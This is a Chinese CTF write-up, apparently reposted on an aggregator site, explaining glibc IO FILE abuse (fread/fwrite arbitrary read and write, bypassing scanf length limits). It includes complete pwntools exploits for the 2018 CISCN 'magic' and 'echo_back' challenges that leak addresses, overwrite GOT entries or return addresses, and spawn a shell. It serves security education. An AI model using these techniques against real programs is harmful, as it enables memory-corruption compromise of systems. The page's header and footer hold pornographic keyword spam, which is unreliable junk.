日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

scanf返回值_IO FILE之任意读写和scanf的限制绕过

發布時間:2023/12/19 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 scanf返回值_IO FILE之任意读写和scanf的限制绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文將簡單介紹一下scanf的長度繞過和由fwrite、fread實現的任意讀寫,然后用兩個ctf例題(2018年的兩道國賽題 echo_back 和 magic)來加深理解。本文中write_s,write_e,read_s,read_e分別表示開始寫入的開始結束地址、讀取的開始結束地址。

fread 之 stdin任意寫

網上介紹fread源碼分析的文章很多,所以本文就不著重分析他的詳細流程了。首先先介紹一下file結構(FILE在Linux系統的標準IO庫中是用于描述文件的結構,稱為文件流。FILE結構在程序執行fopen等函數時會進行創建,并分配在堆中。我們常定義一個指向FILE結構的指針來接收這個返回值。)FILE結構定義在libio.h中struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};先著重介紹其中要用到的指針:
  • _IO_buf_base:輸入(出)緩沖區的基地址,_IO_file_xsgetn函數會通過它來判斷輸入緩沖區是否為空,為空則會調用_IO_doallocbuf函數來進行初始化。
  • _IO_buf_end:輸入(出)緩沖區的結束地址。
  • _IO_read_ptr:指向當前要寫入的地址。
  • _IO_read_end:一般和_IO_read_ptr共同使用,_IO_read_end-_IO_read_ptr表示可用的輸入緩沖區大小。
接下來是實現任意寫的過程:在_IO_file_xsgetn中:if (fp->_IO_buf_base == NULL)會判斷輸入緩沖區是否為空,為空則調用_IO_doallocbuf。我們是不希望他初始化緩沖區的,所以要構造fp->_IO_buf_base != NULLhave = fp->_IO_read_end - fp->_IO_read_ptr; if (have > 0) { 將輸入緩沖區中的內容拷貝至目標地址。 }這里我們要實現任意寫,就不能滿足這個條件,一般構造_IO_read_end ==_IO_read_ptr,這樣的話緩沖區就滿足不了當前的需求,就會接著調用__underflow__underflow(_IO_new_file_underflow)中有兩個判斷需要繞過:1、if (fp->_flags & _IO_NO_READS)滿足的話就會直接返回;所以這里要保證_flag位中不能有四。2、if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;這里滿足的話也會直接返回,所以我們一般構造_IO_read_end ==_IO_read_ptr。因為最終調用的是read (fp->_fileno, buf, size)),所以我們還要構造fp->_fileno為0。小結一下:
  • 設置_IO_buf_base為write_s,_IO_buf_end為write_end(_IO_buf_end-_IO_buf_base要大于0)
  • flag位不能含有4(_IO_NO_READS),_fileno要為0。(最好就直接使用原本的flag)
  • 設置_IO_read_end等于_IO_read_ptr。
_IO_new_file_underflow中在執行系統調用之前會設置一次FILE指針,將_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部設置為_IO_buf_base。這個內容后面的題目magic要用到,先在這里提一下。 fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);

scanf 的長度修改:

scanf是調用stdin中的_IO_new_file_underflow去調用read的(和fread相同)。這里依舊是上面的那幾個關鍵代碼:一:·········································if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; 二:·········································count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); 三:·········································fp->_IO_read_end += count;我們可以知道它是向fp->_IO_buf_base處寫入(fp->_IO_buf_end – fp->_IO_buf_base)長度的數據。只要我們可以修改_IO_buf_base和_IO_buf_end就可以實現任意位置任意長度的數據寫入。第三部分我們放到題目each_back中來分析。

fwrite 之 stdout任意讀寫

因為stdout會將緩沖區中的數據輸出出來,所以就具有了stdin沒有的任意讀功能。首先說一下涉及到的指針:
  • _IO_write_base:輸出緩沖區基址。
  • _IO_write_end:輸出緩沖區結束地址。
  • _IO_write_ptr:_IO_write_ptr和_IO_write_base之間的地址為已使用的緩沖區,_IO_write_ptr和_IO_write_end之間為未使用的緩沖區。
  • _IO_buf_base:輸入(出)緩沖區的基地址。
  • _IO_buf_end:輸入(出)緩沖區的結束地址。

任意寫:

else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){ 把數據拷貝到緩沖區。}他的任意寫是基于_IO_new_file_xsputn中將數據復制到緩沖區這一功能能實現的。所以我們只要構造_IO_write_ptr為write_s,_IO_write_end為write_e,自然就滿足了if的條件,這樣就達到了任意寫的目的。

任意讀:

簡單寫一下fwrite的關鍵流程:_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>_IO_do_writeelse if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){ 把數據拷貝到緩沖區。}if (to_do + must_flush > 0) { if (_IO_OVERFLOW (f, EOF) == EOF)這里不同于上面的任意讀,我們不希望他將數據拷貝到緩沖區中,這里一般構造f->_IO_write_end = f->_IO_write_ptr。之后就會去調用_IO_OVERFLOW(_IO_new_file_overflow)_IO_new_file_overflow中有兩個對flag位的檢查if (f->_flags & _IO_NO_WRITES)if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)所以flag位要不包含8和0x800接下來就會調用:if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); return (unsigned char) ch;其中_IO_do_write函數的作用是輸出緩沖區,我們這里要構造_IO_write_base為read_s,構造_IO_write_ptr為read_e。在_IO_do_write中還有幾個判斷需要繞過:if (fp->_flags & _IO_IS_APPENDING)else if (fp->_IO_read_end != fp->_IO_write_base)flag位不能包含 0x1000(_IO_IS_APPENDING),并且要構造fp->_IO_read_end = fp->_IO_write_base。最后構造f->_fileno為1。

小結:

  • flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
  • 構造_fileno為1
  • 構造_IO_write_base=read_s,_IO_write_ptr=read_e。

例題:

2018 ciscn magic:

首先查看一下保護:

沒有開啟pie保護,Partial RELRO意味著我們可以修改函數got表。放入ida種簡單查看一下:

是個菜單題,上面只給出了三個功能,但是序號很蹊蹺,正好跳過了3,我們通過閱讀代碼可以知道它是有3這個隱藏功能的,但因為解題過程中沒有用到,就不說他了。這道題的關鍵點在于功能二的以下部分中:

首先看一下write_spell和read_spell函數:

我們發現這兩個函數調用了fwrite和fread函數,并且使用了自己創建的file結構。而且fread函數后面還跟著一個write函數,結合上面提到的:have = fp->_IO_read_end - fp->_IO_read_ptr; if (have > 0) { 將輸入緩沖區中的內容拷貝至目標地址。 }這里的目標地址,就是write函數要輸出內容所在的地址,也就是說如果我們能控制log_file結構,就可以利用read_spell函數來泄漏libc基址以及heap的基址。那么要如何做到控制log_file呢:我們看到最下面有一個 *(v3 + 0x28)-=50ll,那么我們看一下v3是什么:

這里是存在數組下標越界的

而指向log_file的指針正好位于數組的上方,所以我們讓v2為-2的話,*(v3 + 0x28)-=50ll 就會修改的是log_file中的_IO_write_ptr。那么我們就要利用它來修改_IO_write_ptr。這里要注意每次fwrite后會將輸出的長度加到_IO_write_ptr上,修改的時候一定要注意。*f->_IO_write_ptr++ = ch;通過調試可以知道log_file結構位于我們create的堆地址上方。for i in range(12): spell(p, -2, 'x00') spell(p, -2, 'x00' * 13) spell(p, -2, 'x00' * 9)

可以看到此時已經將_IO_write_ptr修改為log_file結構內部的地址。 spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(puts_got) + p64(puts_got + 0x100)) libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest利用上文說到的方法就可以泄漏出libc基址。但是我們還需要heap基址用于got表修改,所以需要再泄漏一個地址,所以我們要使_IO_write_ptr指向泄漏libc之前的位置。spell(p, -2, p64(0) + p64(0))這樣之后就可以用相同的方法再泄漏heap的基址: spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0)) heap_addr = u64(p.recvn(8)) - 0x10接下來是修改got表部分:spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))在泄漏完heap基址后,log_file結構如下:

可以看到_IO_write_ptr為0x2042030,這樣的話我們去執行上面腳本的第一行,因為輸出的長度為0x18,這樣修改的話就會變成下圖這樣:

這樣的話,就符合了我們上面說的任意寫的條件,接下來就可以去修改_IO_buf_baseh和_IO_buf_end。(也就是第二行代碼)。我在上文提到了:_IO_new_file_underflow中在執行系統調用之前會設置一次FILE指針,將_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部設置為_IO_buf_base。所以我們在執行完上面兩行代碼后_IO_write_ptr就會指向0x602122(它位于fwrite函數got表的下方)接下來我們就要調整IO_write_ptr的值來修改got表。 spell(p, -2, 'x00') spell(p, -2, 'x01') spell(p, -2, 'x00') spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6]) spell(p, 0, '/bin/sh')這里有一點需要注意,就是spell(p, -2, ‘x01’),這里必須要大于0,因為:

這里如果滿足不了第一個if,就會跳轉到muggle那部分。完整的exp:# coding:utf-8from pwn import *context(arch = 'amd64', os = 'linux')context.log_level = 'debug'debug=1ip='111.198.29.45'port='31577'if debug == 1: p = process('./magic')else: p = remote(ip, port)puts_offest = 0x6f690system_offest = 0x45390puts_got = 0x602020fwrite_got = 0x602090log_addr = 0x6020E0def debug(): gdb.attach(p) pause()def create(p, name): p.recvuntil('choice>> ') p.sendline('1') p.recvuntil('name:') p.send(name)def spell(p, index, data): p.recvuntil('choice>> ') p.sendline('2') p.recvuntil('spell:') p.sendline(str(index)) p.recvuntil('name:') p.send(data)def final(p, index): p.recvuntil('choice>> ') p.sendline('3') p.recvuntil('chance:') p.sendline(str(index))def pwn(): create(p, 'sss') spell(p, 0, 'yyyyy') for i in range(12): spell(p, -2, 'x00') spell(p, -2, 'x00' * 13) spell(p, -2, 'x00' * 9) #debug() spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(puts_got) + p64(puts_got + 0x100)) libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest log.info('libc addr is : ' + hex(libc_addr)) #debug() spell(p, -2, p64(0) + p64(0)) spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0)) heap_addr = u64(p.recvn(8)) - 0x10 log.info('heap addr is : ' + hex(heap_addr)) debug() spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58)) #debug() spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100)) spell(p, -2, 'x00') spell(p, -2, 'x01') spell(p, -2, 'x00') spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6]) spell(p, 0, '/bin/sh') p.interactive()if __name__ == '__main__': pwn()

2018 ciscn each_back

日常檢查,保護全家桶。這道題的格式化字符串漏洞很明顯因為它開啟了pie,所以我們最開始的思路就是要泄漏出一些我們需要的地址。首先查看stack,尋找一些有用的信息:

這里我標出了三個內容(計算偏移時不要忘了這是64位程序,前六個參數保存在寄存器里):1.main函數的ebp2.函數的返回地址,它對應main函數中的地址,所以我們可以借此獲得程序的基地址(elf_ddr)3.可以得到libc基址printf函數返回地址的求法:

因為main函數里并沒有修改rbp、rsp,所以這里printf函數的返回地址為main函數的rsp(也就是我們這里泄漏出的ebp) -0x28。今天的重頭戲來了:他限制了我們輸入的長度不能超過7,我們要想修改函數返回地址,payload不可能比7字節短,所以我們這里要找其他輸入payload的方式,這里我們盯上了scanf函數。我們就用上文提到的方法來修改scanf可輸入的長度:payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)這里就有一點需要注意了,上文我留下的第三部分,就是:fp->_IO_read_end += count;我們在修改完長度之后,_IO_read_end就會加上我們payload長度的大小,這樣就會導致后面輸入payload來修改返回地址時,fp->_IO_read_ptr < fp->_IO_read_end的條件無法實現,所以我們這里利用getchar函數(每次會使_IO_read_ptr+1)來讓這個條件滿足:

for i in range(len(payload)-1): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('')這里主要說一下scanf的利用,關于格式化字符串的內容就不過多的敘述。完整exp:#coding:utf-8from pwn import *context.log_level = 'debug'debug = 1elf = ELF('./echo_back')if debug: p = process('./echo_back') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'else: p = remote('', xxxx) libc = ELF('./libc.so.6')def dubug(): gdb.attach(p) pause()def set_name(name): p.recvuntil('choice>>') p.sendline('1') p.recvuntil('name') p.send(name)def echo(content): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('-1') p.send(content)#----------------------------stack----------------------------------------------echo('%12$pn')p.recvuntil('anonymous say:')stack_addr = int(p.recvline()[:-1],16)#----------------------------elf---------------------------------------------echo('%13$pn')p.recvuntil('anonymous say:')pie = int(p.recvline()[:-1],16)-0xd08#----------------------------libc---------------------------------------------echo('%19$pn')p.recvuntil('anonymous say:')libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']print '[+] system :',hex(libc.symbols['system'])set_name(p64(libc.address + 0x3c4918)[:-1])echo('%16$hhn')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)p.sendline('')for i in range(len(payload)-1): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(pie+0xd93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])p.sendline(payload)p.sendline('')p.interactive()

參考資料:

https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_writehttps://wiki.x10sec.org/pwn/io_file/introduction/

更多好文

暗度陳倉:基于國內某云的 Domain Fronting 技術實踐對PHPOK的一次審計 | 新手向64位格式化字符串漏洞修改got表利用詳解

總結

以上是生活随笔為你收集整理的scanf返回值_IO FILE之任意读写和scanf的限制绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: h网站在线播放 | 久久中文字幕一区二区 | 神马久久影院 | 草草影院av | 欧美 中文字幕 | 天天做日日做 | 精品一区二区三区免费毛片爱 | 欲求不满的岳中文字幕 | 成人av地址| 日本黄色一区二区 | 久久视频精品 | 欧美国产日韩一区二区三区 | 一级免费观看视频 | 日韩中文字幕在线播放 | 天堂国产一区二区三区 | 凹凸精品熟女在线观看 | 69免费视频 | 国产又粗又长视频 | 伦理自拍 | 国产日批视频 | 911成人网 | 伊人伊网 | 黄色片网站免费在线观看 | 国产黄色片在线 | 国产首页| 青青青手机视频 | 欧美性理论片在线观看片免费 | 91亚洲欧美激情 | 久久久新 | 国产欧美日韩综合精品一区 | 粉嫩av一区二区夜夜嗨 | 亚洲视频一区二区三区 | 久久久久久久久久影视 | 久久高清无码视频 | 欧洲久久久 | 国产激情无码一区二区三区 | 久久性爱视频网站 | 中文一级片 | 成人在线免费网站 | 九色视频网 | www.色视频| 一级黄色片免费播放 | 精品人妻伦九区久久aaa片 | 91丝袜美女| 91亚洲国产成人久久精品网站 | 白丝一区| 欧美一区二三区 | 激情六月婷婷 | 成人无高清96免费 | 午夜免费福利影院 | 中文日韩字幕 | 中文字幕人妻一区二区三区 | 四虎黄色影院 | 日韩一级二级 | 欧美人体视频一区二区三区 | 午夜激情久久 | 三级av免费 | 91成人黄色 | 天天狠天天干 | 99久久99久久精品国产片果冰 | 国产福利91精品 | 森泽佳奈作品在线观看 | 欧美视频日韩 | 亚洲精品一区在线 | 91视频综合 | 超能一家人电影免费喜剧在线观看 | 国产日韩欧美在线播放 | 熟女熟妇伦久久影院毛片一区二区 | 主人性调教le百合sm | 欧美噜噜噜 | 欧美成人黑人xx视频免费观看 | 污的视频在线观看 | 日韩中文视频 | 亚洲免费中文 | 精品视频在线免费 | 国产成人久久精品77777综合 | 懂色视频在线观看 | 91污在线观看 | 免费在线观看日韩av | 女人洗澡一级特黄毛片 | 无码人妻精品一区二区蜜桃色欲 | 成人午夜视频免费看 | 久久mm | 久久视频中文字幕 | 蜜臀99久久精品久久久久小说 | 亚洲成人自拍偷拍 | 亚洲国产成人av | 手机在线精品视频 | 欧美黄视频 | 欧美视频久久久 | 四虎成人网 | 中文字幕一区二区免费 | 伊人网欧美 | www..99热| 修仙淫交(高h)h文 | 国产在线不卡一区 | 精品成在人线av无码免费看 | 中国黄色片子 | 我要看免费黄色片 |